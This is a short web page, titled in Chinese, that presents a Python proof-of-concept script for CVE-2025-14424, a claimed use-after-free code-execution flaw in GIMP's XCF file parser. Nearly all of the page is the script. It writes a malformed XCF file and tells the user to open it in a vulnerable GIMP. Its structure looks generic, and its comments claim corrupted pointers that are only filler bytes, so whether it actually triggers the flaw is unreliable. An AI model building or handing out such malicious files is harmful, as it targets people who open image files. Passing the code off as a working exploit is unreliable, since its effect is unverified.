CVE-2025-14424 GIMP XCF文件解析Use-After-Free远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-14424 PoC - GIMP XCF File Parsing Use-After-Free This PoC generates a malformed XCF file that triggers the Use-After-Free vulnerability. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_xcf(): """ Create a malicious XCF file that triggers Use-After-Free in GIMP. The vulnerability exists in XCF file parsing where object existence is not validated before operations. """ # XCF file header xcf_header = b'gimp xcf file' xcf_version = struct.pack('>I', 0) # version 0 xcf_width = struct.pack('>I', 256) # width xcf_height = struct.pack('>I', 256) # height xcf_precision = struct.pack('>I', 0) # precision # Build the XCF structure to trigger UAF # This creates a structure that causes the parser to free an object # but still hold a reference to it xcf_data = xcf_header + xcf_version + xcf_width + xcf_height + xcf_precision # Add properties that trigger the vulnerable code path # Property type 1 = GIMP_IMAGE_COLORMAP property_type = struct.pack('>I', 1) property_size = struct.pack('>I', 12) # Malformed property data that causes UAF condition property_data = b'\x00' * 12 xcf_data += property_type + property_size + property_data # Add end of properties marker xcf_data += struct.pack('>I', 0) # Add layer structure that triggers UAF # Layer with corrupted pointers layer_width = struct.pack('>I', 256) layer_height = struct.pack('>I', 256) layer_bpp = struct.pack('>I', 4) # Corrupt layer name length to trigger vulnerable code path layer_name = b'malicious_layer\x00' layer_name_len = struct.pack('>I', len(layer_name)) # Add layer properties layer_props = struct.pack('>I', 0) # End of properties # Tile data that triggers the UAF # This causes the parser to free and reuse memory tile_data = b'\x41' * 1024 layer_data = layer_width + layer_height + layer_bpp + layer_name_len + layer_name + layer_props # Corruption markers for UAF trigger uaf_trigger = struct.pack('>Q', 0xDEADBEEF) * 4 xcf_data += struct.pack('>I', 1) # Number of layers xcf_data += layer_data + tile_data + uaf_trigger # Add channel that causes double-free/UAF xcf_data += struct.pack('>I', 1) # Number of channels channel_data = struct.pack('>I', 256) * 3 + b'channel\x00' + struct.pack('>I', 0) xcf_data += channel_data return xcf_data def main(): print("[*] Generating PoC for CVE-2025-14424") print("[*] GIMP XCF File Parsing Use-After-Free RCE") # Generate malicious XCF file xcf_data = create_malicious_xcf() output_file = "CVE-2025-14424_poc.xcf" with open(output_file, 'wb') as f: f.write(xcf_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(xcf_data)} bytes") print("\n[!] Usage: Open this file with vulnerable GIMP version") print("[!] This will trigger the Use-After-Free vulnerability") if __name__ == "__main__": main()